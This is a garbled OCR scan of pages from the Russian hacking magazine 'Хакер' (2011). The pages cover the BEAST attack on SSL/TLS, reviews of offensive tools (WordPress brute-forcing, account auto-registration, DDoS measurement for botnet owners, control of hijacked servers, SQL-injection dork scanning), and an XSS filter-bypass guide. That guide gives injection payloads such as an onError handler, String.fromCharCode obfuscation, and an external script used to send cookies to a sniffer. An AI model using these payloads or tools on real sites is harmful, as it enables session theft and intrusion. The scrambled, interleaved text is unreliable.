пробива пользователя используют приемы социальной инженерии с

Люди создают огромные сервисы по загрузке вредоносных про­

просьбой о загрузке вируса.

грамм на компьютеры пользователей и зарабатывают на этом незаконном бизнесе немалые деньги . Сегодня ты узнал о целом бизнесе, который цветет и пахнет втайне от

РЕАЛИЗА!JИЯ Я не буду описывать, как влиться в описываемый бизнес, так как

тебя. Теперь ты знаешь, как обезопасить себя от нежеланных <<гостей>>

на своем компьютере и как не стать обманутым. Хотя в способах за­

это мерзко и противозаконно. Опишу лишь вкратце, как злоумыш­

щиты я и привел прописные истины, но очень многие п ренебрегают

ленники заражают страницы на уязвимом сайте. Итак, допустим,

даже ими . Я надеюсь, что ты намотаешь на ус всю представленную

в НТМL-исходнике какого-либо ресурса ты обнаружил следующий

информацию и не позволишь злоумышленникам нажиться на тебе. ::Х::

ХАКЕР

11 /154/ 2011

071


взлом

Коллективный р аз ум

ПЕРВАЯ РАБОТАЮЩАЯ

АТАКА НА SSL/TLSПPOTOKOЛ Передаваемые по SSL-соединению данные можно расшифровать! Для этого Джулиану

Риццо и Тай Дуонгу удалось использовать недоработки в самом протоколе

SSL. И

пусть

речь пока не идет о полной дешифровке

трафика, разработанная ими утилита

BEAST

может извлечь из зашифрованного

потока то, что представляет собой наибольший интерес,- секретные кукисы с

и дентификатором сессии пользователя .

ЧТО ТАКОЕ BEAST? 103 секу н ды потребовалось утилите

Всего

ВЕАSТ I B гowseг

Exp loit

Agaiпst SS L/Т L SI, чтобы расшифровать секрет н ую кукису для вхо д а в аккау нт

PayPal. П осмотреть ви д еокас т м ож н о н а Yo uTube IQiJ.bl omqAsQ J. Это н е фей к. Ж и вая д емонст р а ц ия ути литы п ро ш ла в рамках конфе р е нц ии Ek opaг t y в Буэнос-Айросе, где и ссле д о в а те л и выступили с докладом и п оказа л и работающий pгoof-of-coпcept. Ис п ользуемая

у язвимость дейс т витель н о позволяет незаметно п ерехва т ывать дан­

ные, передаваемые между веб - сервером и браузером п ользователя. По иронии судьбы атака эксплуа т ируе т не какую-то новую найденную

в протоколе брешь, а уязвимость

SSL/TLS де с ятилетней давности ,

долгое время считавшуюся чисто теоретической. Н о, как говорится, раз в год и палка с т реляет, так что уж за десять лет уязвимость точно

можетп ерей т иизразрядатеоре т ическихвов п ол несебепрактическую. Исслед ова тели пока не п убликуют ут или т у, н о де л я тся wh i tepapeг'oм

072

ХАКЕР

11 / 154/2011


BEAST:

о проделанной работе I Ьit. l y/oBLWHX ). Програ мма состоит из двух эле­

Ci ;

Е(Кеу,

зверский угон SSL-кукисов

Mi xor Ci-1)

ментов: снифера, который анализирует НТТРS-трафик, и специального

агента, написанного на JavaScгipt и Java, который должен быть под­

Во время шифрования первого блока исходный текст ХОR'ится

гружен в браузере жертвы !для этого, к примеру, необходимо заставить

некоторым вектором инициализации llпitialization Vectoг, IV), который

пользователя открыть страницу с нужным кодом) . Агент нужен для того,

заменяе т результат предыд ущего шифрования, которого по понятной

чтобы особым образом внедрять данные в тот же безопасный канал

причине нет. Все довольн о просто. Однако эта теория описывает

связи, который используется для передачи секретных кукисов. Как это

ситуацию для одного большого объекта, таког о, например, как файл,

позволяет дешифровать данные? Вот здесь вступает давно известная

который легко разбивается на блоки. В свою очередь, SSL/TLS явля­

уязвимость SSL 3 . 0/ТLS 1.0, на которой мы остановимся подробнее .

ется крипто графическим протоколом- ему необходимо шифровать

не отдель ный файл, а серию па кетов. SSL/ТLS-соединение может

ОСОБЕННОСТИ ШИФРОВАНИЯ

SSL 1.0

Протокол SSL 1.0/TLS 3.0 позволяет использовать шифрование

быть использовано для отправки серии НТТРS-запросов, каждый

из которых может быть разбит на один или более па кетов, которые,

симметричным ключом, используя либо блочные, либо потоковые

в свою очере дь , могут быть отправлены в течение как нескольких

шифры . На практике, однако, обычно используется блочные шифры ,

секунд, так и нескольких минут. В данной ситуации есть два способа

и описываемая нами атака применима именно для них. Чтобы вник­

использовать режим СВС:

нуть в суть, нужно хорошо представпять себе базовые понятия. Принцип работы блочного шифра заключается в отображении

обрабатывать каждое сообщение как отдельный объект, генериро­ вать новый вектор инициализации и шифровать по описанной схеме.

блоков открытого текста в зашифрованные блоки того же размера.

обрабатывать все сообщения как будто они объединены в один

Проще всего представить блочный шифр в виде гигантской таблицы,

большой объект, сохраняя СВС-режим между ними. Этого можно до­

со держащей 2л128 записей, каждая из которых содержит блок текста

стичь, используя в качестве вектора инициализации для сообщения

М и соответствующий ему зашифрованный блок С . Соответственно,

n последний блок шифрования предыду щего сообщения ln-1). Внимание, важный момент. Протокол SSL 3.0/TLS 1.0 использует

для каждого ключа шифрования будет отдельная такая таблица. Далее мы будем обозначать шифрование в виде функции:

второй вариант, и именно в этом кроется возможность для проведе­ ния атаки .

С

;

Е(Кеу,

М),

ПРЕ СКАЗУЕtv1ЫЙ ВЕКТОР ИНИ

~~;...;..;...;~=..;.~

ГдеМ-ис ходные данные, Кеу- ключ шифрования, а С- по­

лученные зашифрованные данные.

Блоки имеют небольшой размер !как правило, 16 байт). Поэтому возникает вопрос: как зашифровать длинное сообщение? Можно раз­

Атака строится на нескольких допущениях, но опыт создателей

BEAST показал, что их вполне реально реализовать в реальной жиз­ ни. Первое допущение: злоумышленник должен иметь возможность

снифать трафик, который переда ет браузер. Второе допущение:

бить сообщение на блоки одинаковой длины !те же самые 16 байт) и

плохой парень каким-то образом должен застави ть жертву пере­

зашифровать каждый блок в отдельности. Такой подход называется

давать данные по тому же самому безопасному каналу связи. Зачем

режимом простой замены IECB, Electгoпic codebook), но используется

это нужно? Рассмотрим случай, когда между компьютерами Боба и

редко. На то есть причина: если мы будем шифровать два одинако­

Эли с установлено безопасное соеди нение . К нам попадает сообще­

вых по содержимому блока, то в результате и на выходе получим два

ние, i-блок которого, как мы предполагаем, содержит, параль Элис

одинаковыхзашифрованныхблока.Этовлечетзасобойпроблему

!или секретную кукису- неважно). Обозначим зашифрованный блок

сохранения статистических особенностей исходного текста, которая

как Ci, соответственно Mi- ее па роль. Напомню, что Ci; Е IKey, Mi

хоро шо продемонстрирована на иллюстрации. Для избегания такого

хог Ci-1 ). Теперь предположим, что ее параль-это Р. Главная идея

эффекта был разработан режим сцепления блоков шифротекста ICBC,

в том, что мы можем проверить правильнесть нашего предположе ­

Cipheг-Ыock chaiпing), в котором каждый следующий блок открытого

ния! Итак , мы знаем !так как смогли перехватить) вектор инициа­

текста ХОR'ится с предыдущим результатом шифрования:

лизации, который будет использоваться для шифрования первого

ХАКЕР

11/154/2011

073


взлом

Onc рьпый тексr Вектор ИНIIЦИалИЭЗЦIIИ

За1111фрооажый

Зашифрованный

Заwифроваииый

теr.ст

текст

текст

Принцип действ и я еве-шифра

ориг и нальная битовая к арта

блока следующего сообщения . Это, соответственно, последний блок

криптограмма в режиме ЕСВ

предыдущего сообщения [в зашифрованном виде)- обозначим его

IV.

Мы также перехватили и знаем значение блока , идущего перед

Ci- обоз н ачим его Ci-1. Эти данные нам очень нужны. С их помощью

П робле м а р еж има п ростой замены

мы особым образом формируем сообщение так, чтобы первый блок если предположение не верное, равенства не будет. Так мы можем

был равен следующему:

проверять на ш и предположения.

М1

= Ci-1 xor

IV xo r

Р.

ОСОБЕННОСТИ ПЕРЕБОРА Если сообщение удалось передать по тому же з ащищенному кана­ лу связи, то первый блок нового сообщения после шифрования будет выглядеть следующим образом :

Если предположить , что у нас есть куча времени и множество по­ пыток , мы можем повторять этуте х нику вновь и вновь, пока не найдем верное значение М. Однако на практике бло к М

-16 байтов в длин у.

Даже если мы зна е м значение в с е х байт кроме дву х , на то, чтобы отга­ С1

Е (Кеу ,

М1 xor

IV)

дать оставшиеся байты , нам понадобится 2 л 15[32 768) попыток . А если

=

(Ci- 1 xor IV xor Р) xor Е (Кеу, (C i - 1 xor Р)) Ci Е(Кеу,

IV)

мы не знаем вообще ничего? Короче говоря , техника может сработать лишь в единственном случае- если у тебя есть некоторое ограничен­

ное количество предположений относительно значения М. Еще точ­ нее: мы должны знать большую часть содержимого этого блока- это

Все, ч т о я с д елал,- зто использовал полную форму записи М1,

п осле ч его упростил формулу, используя т от факт, что

[IV хог IV)

единственный способ использовать описанную уязвимость. Тут есть одна хитрость. Предположим, что злоумышленник может контролиро­

уничтожи т ся [замечательное свойство XOR'a) . Получается, что если

вать, каким образом данные будут располагаться в шифруемом блоке.

наше предположение относительно пароля Элис верное [то есть М

Вернемся опять к примеру с Элис. Допустим , мы знаем, что длина

действительно равен Р), то первый зашифрованный блок нового

ее пароля- 8 символов. Если злоумышленник может расположить па­

сообщения С1 будет равен ранее перехвач енному Ci! И наоборот:

роль таким о бразом, чтобы в первый блок попал только один символ , а оставшиеся с емь попали в следующий. Идея в том, чтобы передать в первых 15 байтах первого блока заведомо известные данные -тогда можно будет подобрать только последний байт, являющийся первым символом пароля. Например, допустим, что нужно отправить строку

МАСШТАБЫ ПРОБЛЕМЫ

вида:

«user: alice password: * * ****** >>,где«********>> - непосред­

ственно с ам па роль . Если злоумышленнику удастся пере д ать строку так, чтобы она была разбита н а следующие блоки <<[l ice pa ssword: И так, каковы же м ас ш табы бе д ствия? Или иными словами- кто уязвим?

* ] [ ******* ... ...... ] >>,то п одбор первого символа пароляуже не

П рактически любой сайт, ис п ользующий TLS1 .0, который является наиболее

кажется невыполнимой задачей. Напротив, в худ ш ем случае нам по­

рас пр остраненным протоколом безопасности . Забавно, что после всей этой п ротокола- TLS 1.1 и выше. Но многие ли сайты уже сейчас поддерживают эти

надобится жалкие 256 попыток . А в случае особой удачи и вовсе одна :)! Подобрав первый байт, можно сдвинуть границу разбиения на один символ: то есть передавать в первом сообщении 14 заранее извест­

п рот околы? Да практически никто! Посмотри на иллюстрацию. Даже несмотря

ных байт. Блок теперь будет заканчиваться двумя первыми байтами

ш умихи с BEAST, многие стали проявлять интерес к более новым версиям

на то, что TLS 1.1 уже пять лет, его используютединицы! Другой вопрос: как обезопасить себя? На самом деле, паниковать нет

смысла-уязвимость уже исправлена в большинстве браузеров. Но если па­ ранойя берет верх, можешь попробовать отключить небезапасные протоколы

в браузе ре ITLS 1.0 и SS L З.O), а заодно и Java . Правда, не стоит в этом случае силь н о удивляться, что мно г ие сайты перестанут работать.

D D

размер блока""

известные байты , добавленные браузером

известные байты, которыми управляет злоумы ш лен н ик неизвестные байты, которые злоумы ш ле н ник хочет рас ш ифроват ь

граница блока

Support

8

Вest

protocol

гр а н и ц а бл ока

jP\o\s\т\ \ l lдlдtдlдlдlдl lнlтlтtPI граница бл ока

Тl.Sv1 .0 Тl.S

v1 .1

Тl.Sv1 .2

293,286

292,386

916

854

69

69

1R

JS 1 ~ \r 1\nl

R

1Q 1 U 1 Е

1 S 1Т 1 sl О 1 D 1У

• .. .

j

Статистика использования разных протоколов

П е р е дача запроса на сервер для реализации ата к и на

SSL

ХАКЕР

11 / 154/2 011


ВЕАSТ: зверский угон SSL-кукисов

-ssh-80x2

о -о

1

О-о

1 о-о

о

о -- о

1 1

О-о

1 1 о-о

о -0 - о

о-о

1

1 1

1

о--о

1

1

о

о

о-о

1 о-о

1 о

er Tha1 Duong (

.со

)

)

Server 1n1 1 \1zed, l1sten ng on 8.8. 1 BEAST gent to 192.168.1.67 arge 1ng h ps://paypat.co Cook1e so f r: G en_US ЗВС : оСВ&Ь XscjqZ7 6VOxUL0853 Зn gGc\AP rbzFXiq KxhFgBLBvq d8-rHfloDZ1S90W-S80X2bU8vf80sg IpGehAKO AVZvRG_At7zhJA)4NAlc\0Vp\7Jo T7612pz j P2iSzP SY 4kibG1qб G: Fi n \ cookie: н~веь XscjqZ7 бVOxULOBSЗ ЗntgGctAP VrbzFX1q xhFg8L8vqKd8-rHfi oDZ1S90W- S80X2bUDvf80sg IpGeh VZvRG_ 7zhJA)4 A1c\DVp\7JoT7612pzjP2 SzPvSY8 4kibG1qб G: took 1 3.84 seconds :-) >

Оер\оу

Всего

103 секунды потребовалось для расшифровки секретной кукисы PayPal

пароля , первый из которых мы уже подобрали. И опять : получаем

результате работающий агент банально перестал работать . Текущая

256 необходимых попыток для того, чтобы угадать второй его байт.

версия

Процесс можно повторять до тех пор, пока па роль не будет подобран.

из агента, написанного на Ja v ascгipt/Java, и сетевого снифера .

Этот принцип используется и в BEAST для подбора секретной кукисы, а в качестве известных данных используются модифицированные

BEAST, которую парни представили общественности , состоит

Незаметно внедрить апплет или JavaScгipt пользователю на самом деле не является такой уж сложной задачей. Но остается не­

заголовки запроса. Подбор ускоряется за счет сужения возможных

большой нюанс - для того , чтобы с крипт или апплет могли отправ­

символов [в запросе можно использовать далеко не все], и за счет

лять данные по установленному жертвой соединению , необ х одимо

предположений имени кукисы.

обойти еще и ограничения SOP [same-oгigiп policy, правило ограни­ чения домена]. Это важная концепция безопасности для некоторых языков программирования на стороне клиента, таких как JavaScгipt.

Впрочем, сама уязвимость и оп ти мизированный способ для вы п ол н е­

Политика разрешает сценариям, находящимся на страницах одного

ния дешифрования о пи са ны уже давно . Ч то действительно удалось

сайта, доступ к методам и свойствам друг друга без ограничений , но

разработчикам BEAST, так зто реализовать все необходимые условия

предотвращает доступ к большинству методов и свойств для страниц

для выполнения атаки:

на разных сайтах. Проще говоря , запущенный на одной странице

• • •

атакующий должен иметь возможность проелушивать сетевые

клиент не сможет делать запросы к нужному сайту [скажем , ~

соединения, инициированные браузером жертвы; у атакующего должна быть возможность внедрить агент в браузер

com ]. Чтобы обойти политику SOP, авторы нашли в виртуальной ма­ шине Java Оdау-уязвимость и написали для нее работающий сплоит.

жертвы;

Только не думай, что зто позволяет читать существующие кукисы.

агент должен иметь возмож н ость отправлять произвольные

Если бы это было так, тогда зачем нужен был весь этот сыр-бор с за­

[более-менее] НТТРS-запросы;

шифрованным трафиком? Используя сплоит для обхода SOP, можно

В самом начале материала я уже говорил, что важной частью

отправлять запросы и читать ответы сервера [в том числе ответы с

BEAST является так называемый агент, который сможет п ередавать

новыми кукисам и], но нельзя считывать существующие кукисы, ко­

нужные злоумышлен н ику зап ро сы на сервер [по защище нн ому пр о­

торые сохране ны в браузере . Разработчики делятся целой историей

токолу]. И сследовате ли соста вили с пи сок различных технол о гий и

о создании аген т а в своем бло г е [bit.ly/g6AebBI.

браузерных плагинов, который могут выполнить это условие. Как оказалось, их довольно м н о го: Javascгipt XM LH ttpRequest API , HTML5 WebSocket API, Flash URLRequest API, Java Applet URLCoпnectioп API, и Silveгlight WebCiieпt API . Однако в первом приближении некоторые из

В заключение хочется отметить огромный труд исследователей,

них оказались непригодны из - за наличия ограничений, препятствую­

лет назад, но и приложили много труда для того, чтобы заставить

щих реализации атак. В результате остались только HTML5 WebSocket API, Java URLCoппectioп API, и Silveгlight WebCiieпt API . В момент,

утилиту работать. Здесь мы довольно сильно упростили описания

когда иссле д ователи сообщили о своем баге вендорам, у них на руках

чили истинное удовольствие от прочтения детального документа от

был работающий а ге нт на базе HTML5 WebSockets. Но технология

исследователей, в которых они в деталях рассказывают о реализо­

эта постоянно развивается, а сам протокол постоянно меняется. В

ванной атаке.

ХАКЕР

11/154/2011

которые сумели использовать уязвимость , забытую всеми десять

используемых техник, пытаясь передать основную идею . Но мы полу­

Good jоЫ :::И:

075


взлом

Marlicq 884888, http://snipper.rul

X-Too\s СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗАБЕЗОПАСНОСТИ

Автор:

Автор:

Zdez Bil Уа

(i]Pro

Автор :

lnsecurity Research -.;;;;:-_...,._

URL:

..а~ _

URL: bit ly/pqcYCq

Ьit.ly/q4POte

URL: insec u rjtyresea rch. ~

urce: О

re<~ds: О

ood: О d: о ft:O

Наконец-то в паблике появился приличный

Не могу не поделиться с тобой еще одной за­

IN SEC T Рго- это

сканер плагинов для популярнейшего движка

мечательной софтиной для работы с WoгdPгess.

лит для пентеста и аудита безопасности твоей

WoгdPгess! До сих пор все решения подобного

На сей раз это программа под названием

рода были либо в глубоком при вате, либо дико

Bгute, предна значенная, как это ясно с первого

WP

новый бесплатный набор ути­

сети. С помощью этого комплекса ты можешь с легкостью мониторить что угодно на предмет

тормознутыми и глючными. Итак, встреча-

взгляда, для брута аккаунтов и па ролей поль­

наличия последних брешей в безопасности. О

ем : WoгdPгess Р&Е от постоянного автора­

зователей блога. Казалось бы, что для таких

серьезности продукта говорит хотя бы тот факт,

фигуратора нашей рубрики

целей больше подошел какой-либо известный

что он построен на известнейшем фреймварке

программа предназначена не только для опре­

Zdez Bil Уа.

Данная

брутфорс веб-форм, но зачем тратить свое

Metasploit.

деления используемых на благе плагинов, но и

время на настройку оного, если можно получить

ностей , которые содержит комплекс:

для предупреждения о возможных уязвимастях

работающий комплект быстро и удобно? Особен­

все сплойты, найденные с помощью сканера

в них. Сканер умеет делать следующее:

ности проги:

INSECT; 1Pv4 и 1Pv6 эксплойты;

Вот лишь небольшой список вкус­

определять версию WoгdPгess;

поддержка

выводить ее возможные уязвимости;

многопоточность [max . 50];

определять используемые плагины и их вер­

поддержка НТТР[S] -прокси;

прямо из-под жертвы;

сии [по базе];

генератор Souгce;

удален ные/локальные/сliепtsidе эксплойты;

определятьуязвимостидлянайденныхплаги­

возможностьдобручивания при остановке

SQL/XSS/PH Р-эксплойты;

нов.

б рута.

автоматическийпентес~

На стройка брутфорса выглядит крайне три­

загрузкасплойтовпорасписанию;

Пользоваться прогой не просто, а очень

SSL;

поддержкатуннелингадлязапускасплойтов

просто. Для начала работы достаточно лишь

виально. Для начала работы с ним тебе доста­

обновления каждую неделю;

нажать на <<Старт>> и ждать результата. Если

точно лишь сгенерировать список с лагинами и

поддержка пользователей;

ска нер не нашел ни одного плагина, ты

паролями с помощью встроенного генератора

генерация отчетов в завершении с ка на;

можешь попробовать настройки <<Считать

или же положить рядом файлик Souгce.txt с со­

все последние эксплойты из

плагином Код

держимым вида:

Также из ос н овных фишек этого комбай-

403>>.

302>>

или «Считать плагином Код

В результате ты получишь или список

валидных используемых плагинов: или ни

одного, или все подряд . В качестве бонуса автор приложил к программе базу всех плаги­

н а можно отметить крайне дружественный

admin:123 admin:qwerty ololo:wtfwtf

плагинов с сайта wordpгess . oгg.

076

интерфейс, выбор между опасным и безопасным сканированием, которое дает возможность

проводить безобидные атаки без возможности повреждения системы. Если тебя заинтересовал

нов, имеющих уязвимости на данный момент,

а также сто остальных наиболее популярные

Metasploit.

Также нельзя не о тметить тот факт, что про г а является полностью опенсорсной .

этот продукт, то сове т ую зайти на его официаль­ ную стра ничк у и посмотреть видеопримеры.

ХАКЕР

11/154/2011


X-Tools

Автор :

....

I IГ1 ~ ==~'--------------. 1 ~

Turbo Mailer URL: Ьit ly/oovCRY

АВТОРЕГГЕР

MAIL.RU TURBO MAILER

Одной из самых популярных Н-тем в последнее

использовать одну и туже дату рождения для

время стало написание различных автореггеров

всех;

всего и вся. На этот раз хочу по д елиться с тобой

выбирать пол;

оче р ед н ым рег г ером аккау н тов популярного

загружать а ватарки в «Мой мир>>;

портала Mail.гu. Отличие данной проги от других

предоставлять возможность ввода капчи;

ей подобных заключается в универсальности и

вводить кап чу с помощью сервиса aпtigate.

расширенном донельзя функционале. Вот, что

сот;

умеет программа:

проверятьбалансантигейта;

IIWoi. . . -J [n:~= .... ~•Тirt.-..r*I ЬJ IC8d

регистрировать e-mail на любой домен сайта

работать через прокси IHПP/SOCKS4/

mail.гu;

SOCKS5I;

регистрироватьаккаунтвсоциальнойсети

авторизоваться на mail.гu из программы. В качестве бонуса автор уже приложил к

«Мой Мир>>; ставитьрандомныйпарольот6до40симво­

программе внушительный список женских и

лов;

мужских имен и фамилий. В зависимости от

использовать один парольдля всех акков;

того, какой пол ты выбрал в настройках реги­

ставить рандомную дату рожде н ия;

страции, прога сама подставит нужные ФИО .

Автор : ........."",;~---

M!axPain, Perplexity

Автор :

Автор:

0MaxPainCode

_Aiien_

URL: twitter com/#1/max ~

URL:

Cl.mwii:SetYerTr.tric:I71Мt- 12::SO: I S"" ~Sиv8fTr tffic r t13Мs

URL:

12:30:161'111

Oorr'ents.n.<Trlllf\c:171Nsl2:31hl7"" Clorтanr.SarvvТnll'ic: t72!olo; 12::JII:18 ....

twitter com/max~

A.tt8dt--.....

AIDdcКН-""""".Ч12:JO:t•""

A.I12:30<17 ....

Attlldc--~At12:30:111'111

--

Ьi t . ly/r37IA L

f-----,

~lo Y'III'fМ'I'IOW1oOo

~---

11

----

Y.wi'•~ Y~~

....з.оь.,~-

ИЗМЕРИТЕЛЬЭФФЕКТИВНОСТИ 0005-АТАКИ

VULNERABILITY MASTER:

ЛЕГКИЙ GOOGLE-XAKИHГ VulпeгaЬility Masteг- зто очередной хакерекий

И значальне программа

комбайн, главной отличительной фишкой кото­

лась специально для владельцев зло-ботнетов,

ля за твоим дедиком. Ту л за может если не все ,

рого является продвинутый сканер по доркам

желающих измерить эффективность своих атак,

то практически все. Посмотри список возмож­

Гугла. Причем, надо заметить, что подобных по

направленных на отказ в обслуживании . Однако

ностей:

функционалу гуглосканеров до сих пор в пабли­

владельцы атакуемых ресурсов и простые

возможность создания/удаления учеткии

ке не было. Особенности:

админы тоже часто берут на вооружение данный

смены ее пароля !если есть права админаl;

сканер подаркам Гугла;

инструмент, чтобы проследить, подвержен ли их

свой мини-браузер;

билдер SQL-инъекций;

сайт ддосу или нет. Алгоритм работы тулзы до­

отправка письма на почту с вложением;

поиск различной информации о жертве;

статочно простой: DDoS Тгасег будет непрерыв­

быстрая скачка Cleaгlock;

различные утилиты для конвертации

но пинговать подверженный атаке ресурс и ото­

быстрая скачка б рута и VNС-сканера;

cтpoк.

бражать время задержки ответа от него. Про га

выключение любого процесса в системе;

Так как с различными сканерами уязвимс ­

может быть полезна в следующих случаях :

SQL-

етей ты наверняка уже в своей практике с т алки­

1.

вался, расскажу вкратце об алгоритме работы с гугл-доркером:

1. Загружаем лист дорков или юза ем встроен­ ный !например, <<cmspages.p hp?id=>>, <<game. php?id=>>, <<index . php?id=>> и т. д.l; 2. Указываемлимитсайтовдля с ка на lподефолту 1DOI; 3. Указываем поисковый о п ера т о р !по дефолту <<inurl:>>l; 4. Жмем на кнопку<<Sсаn>>; 5. Наслаждаемся результатами скана и при

DDoS Тгасег создава­

быстрый запуск

бажными скриптами, кот орые кушают много

задач.

3.

Если ты переехал на новый сервер и тебе важ­

обновляет свое творение и вводит в него все но­

но знать, довольны ли посетители скоростью

вые и новые фичи. Из основных наиболее вкус­

работы твоего ресурса;

ных возможностей можно отметить следующие:

Если ты своевременно стал отслеживать

1.

знать, когда злоумышленники запустят ддос.

мого сервера;

Для поиска уязвимсетей сканер просто­

анализаторпримерного времениначала

ООоS-атаки;

скриптов, найденных по твоим доркам. Если на

сворачиваниевтрей.

сайте выводится ошибка, то он, скорее всего,

Также советую посмотреть обучающее видео

11/154/2011

2. Огромный каталогскачиваемых программ для

Функционал трейсера довольно-таки аскетичен: подробный лог пинга;

по адресу Ьit .l y/ пHH x Am .

Многаязычность lв том числе и для создания

учетокl;

д оступность своего сайта, то всегда будешь

минимальный и средний отклик оттестируе­

ХА К Е Р

CMD, реестра и диспетчера

Также стоит заметить, что автор постоянно

ресурсов сервера;

2.

желании запихиваем их во встроенный

уязвим.

вывод всех работающих в системе процессов;

Если ты экс п ериментируешь с какими-либо

<<Vu 1пега Ьi 1ity Scann er>>. напросто подставляет кавычку в параметры

Ded Toolza- это крутейшая утилита для контро­

работы с дедиком;

3. Обходблокированиянекоторыхфункцийад­ министратором системы !например, запуска командной строки!;

4.

Подробная информация одедике в соответ­

ствующей вкладке. Все возможности программы описать просто невозможно, так что советую просто взять и по­

пробовать ее в деле .

077


взлом

кросс-сайтим на полную! ПОЛНЫЙ гидпохss­ Уязвимостям

ФИЛЬТРЫ И ИХ ОБХО Ы Как ты уже наверняка знаешь, для предотвращения уязвимастей

• XSS- это уязви­ мость веб-страниц,

класса XSS программисты используют различные встроенные воз­

возникающая в

можности языка, на котором пишется код. В РНР такие возможности

результате попадания в них nользователь­

ских JS-скриптов.

• Событие-это

реализуются с помощью специализированных функций для фильтрации НТМL-кода. а также с помощью регулярных выражений. Одними из таких функций являются htmlspecialchars() и strip_tags(). Рассмотрим конкретный простейший при мер, в котором веб­

какое-либо действие, осуществляемое

Всего лишь

5 лет

назад ты

пользователем либо браузером .

расцвета

XSS

опущены в выводе вместе с самими тегами:

уязвимостей.

разработчиков достигала

Вся информация предоставлена исключительно в ознакомительных

не просто высокого, а

даже профессионального

уровня! Но в наше время эксплуатация таких багов

ни автор не несут

ответственности за

любой возможный вред, причиненный материалами данной

и других

XSS

вкусностях.

При таком раскладе нет смысла пытаться пентестить код с п омощью тегов

<script >,

так как на выходе у нас получится что-то вроде вот этого:

<img srс= "[твой ввод с удаленными тегами script]" > Как же запустить JavaScгipt, если мы не можем использовать кон­

струкцию <script>? На помощь приходят JS-обработчики некоторых

• razOr.name интересная XSS информация

• ha ckers org/

Xll..hirnl -

самый

популярный обзор

xss

• kaпicq . ru/sпjffer

НТМ L-тегов. Дело в том, что нам очень повезло, что вывод информации проис хо­

дит внутри тега IMG. У данного тега есть прекрасный обработчик опЕггог

!другие обработчики для остальных тегов ты сможешь без труда найти в

Google), который работает следующим образом:

-отличный онлайн­

<img src= "img.jpg" onError= "alert('кapтинкa не

снифер

загрузилась');" >

• Ьit.Jy/bK7NW7 универсальный вектор XSS

• drakasmit.ru/kakrabotal-xss - XSS иSЕО

078

?>

статьи.

затрудненной. Я расскажу

фильтрах, способах их обхода

<?php echo(' <img src='" . strip_tags($_GET[ 'img']). '" >' );

целях. Ни редакция,

становится все более тебе о самых популярных

небезапасных символов"<" и">" с помощью функции strip_tags(). В данном случае символы, ответственные за обозначение тегов, будут

мог застать настоящую эпоху

Тогда халатность веб­

разработчик попытался реализовать полную фильтрацию потенциально

То есть при ошибке запустится любой JаvаSсгiрt-сценарий, помещен­ ный в обработчике. Относительно нашего примера это будет эффективно при вводе следующего значения в $_GET[ 'img' ]:

ХАКЕР

11/154/2011


XSS: кр осс-с айтим на полн у ю!

ТОП-5 ЗАЩИТ ОТ 1.

$res [ ) = ord ($sym); } return implode( ", " , $res); } echo(vcifry( "кoд JavaScript" )); ?>

XSS

Защита функцией htmlspecialchaгs(). Данная функция преобразует переданный ей аргуме н т в НТМL­ сущности, причем происходит преобразование именнотех симво­

Вызов данного кода с помощью JavaScгipt будет выглядеть сле­

лов, которые являются потенциально небезопасными.

дующим образом:

2. Защита функцией stгip_tags().

<scri pt >eval(Str i пg.fromC h arCode( 118 ,

97 , 114, 32 , 185,

В отличие от htmlspecialchaгsll данная функция удаляет из строки аргументатолькосамитеги,причемвторойаргументслужитдля

118, 116, 46, 99 , 111, 111, 187, 185, 181, 41, 59 ) ) </ script >

ук а зания иск л юче н ий, кот орые не нуж н о уда л ять. Через нее спо­ кой н о проходя т строки:<,>,<

Фильтрация любы х символов, кроме<>: /. =

img .

В этом примере вряд ли получится безболезненно в п исать код

3.

JavaScгipt в страницу. Зато существует прекрасная возможность е г о

ВВ-коды .

П ро п уск только о п ределенных тегов, иногда совсем в иной форме,

вызова из внешнего сценария. Для этого дос таточно прос т о соз д а ть

чем позволяют стандарты

*.js-файл, где, к примеру, содержится тот же самый ко д о тпр авк и

HTM L:

кукисов на снифер, и загрузить его на любой веб-сервер.

Пример подключения внешнего скрипта:

[video=htt p ://video.com/vi deo. mp4]My Video[/video] 4.

Регулярные выражения .

<script src=http : //nash.host .ru/sc ript .js></script >

Кто-торегулярки любит, кто-то нет, а кто-то даже предпочитает написать свою собственную, через которую не проходят потен­

Единственный мин ус такого способа заключается в том, что и д ет

циально опасные символы или теги. Удобно в случае исключения

обращение к конкретному серверу, а значит, можно обн а ружить

аргументов из вне д ряемого те г а без изме н ения НТМ L-сущности

злоумы ш ленника .

оставшейся час т и.

5.

Самописные функции .

Всевозможные рекурсивные парсеры строк, которые очень гибко борются с

XSS, т акже довольно п опулярны . Хотя в самописных функ­

циях гораздо чаще можно найти какую-либо уязвимость .

!@#$%"&" oпErro r= "alert(1);" musor=" На самой странице мы увидим вот такой ито говый ко д : Заветное о кошко aleгt i 'XSS'I

<img src= "!@#$%"&" o п Error= "alert(1);" mu sor= "" > Как вид н о из при мера, картинка не загрузится и сработает код

из обработчика оп Е ггог- алерт с чис л ом

1. Разумее т ся, вместо << alert(1); >> можно вставить специальный JаvаSсгiрt-сценарий, пред­ назначенный для отправки пользовательских кукисов на снифер .

Кстати, подобную атаку мож н о реализовать и в случае с функцией

html speci al char s(), если в НТ М L-исходнике страницы в а тр ибутах используются одинарные кавычки или же не используются вовсе.

Фильтрация любых символов, кроме<>() ../ На практике зачастую вс т речаются с л учаи, ко гда<«>> и<<»> не

l

Вкпадю•

~щен"е Уоедомен"я

~ Включить JavaScфt

~u - ...

-,...

~ Включитьмагины

фильтруются, но, например, не проходит плюс, двоеточие или слеш. Что делать в таком случае? Можно предложить использовать метод запуска JS-кода, преобразованного в числа. В этом могут помочь две функции JavaScгipt, а именно:

eval() и String.fromCharCode().

Первая функция выполняет код JavaScгipt, который д ан ей в

Истор.1Я

с--Паранетры стипей ..,

Cookies ~сность Сеть

Гlаранетры содерж>110ГО уст..--тся для каждого IМ!б-уэла

текстовом виде. Вторая- преобразует в текст числовые значения

символов. Для перевода текста в такую форму достаточно написать простой скрипт на РНР:

Гlаранетры JavaScфt

/laнero.1 IIНСТJ!ун. ' ' Г<>РЯ'-'И"КЛ. Управлен..,е гол

.. ,

У,..,авпение настройками веб-<аоfта ... j 3абпокирооанное содержмое ...

<?ph p functioп

vcifr y($text )

$r es = array (); foreach (str_spl i t($text , 1 ) as $sym)

{

ХАКЕР 11/154/2011

Нет Ja vaS c г i pt- нет п ро б л ен

079


взлом

ВЫЖМИ ВСЕ! Гд е и как использовать уязвимости типа

XSS?

Е сли мы вставим этикукисы к себе с

<? php

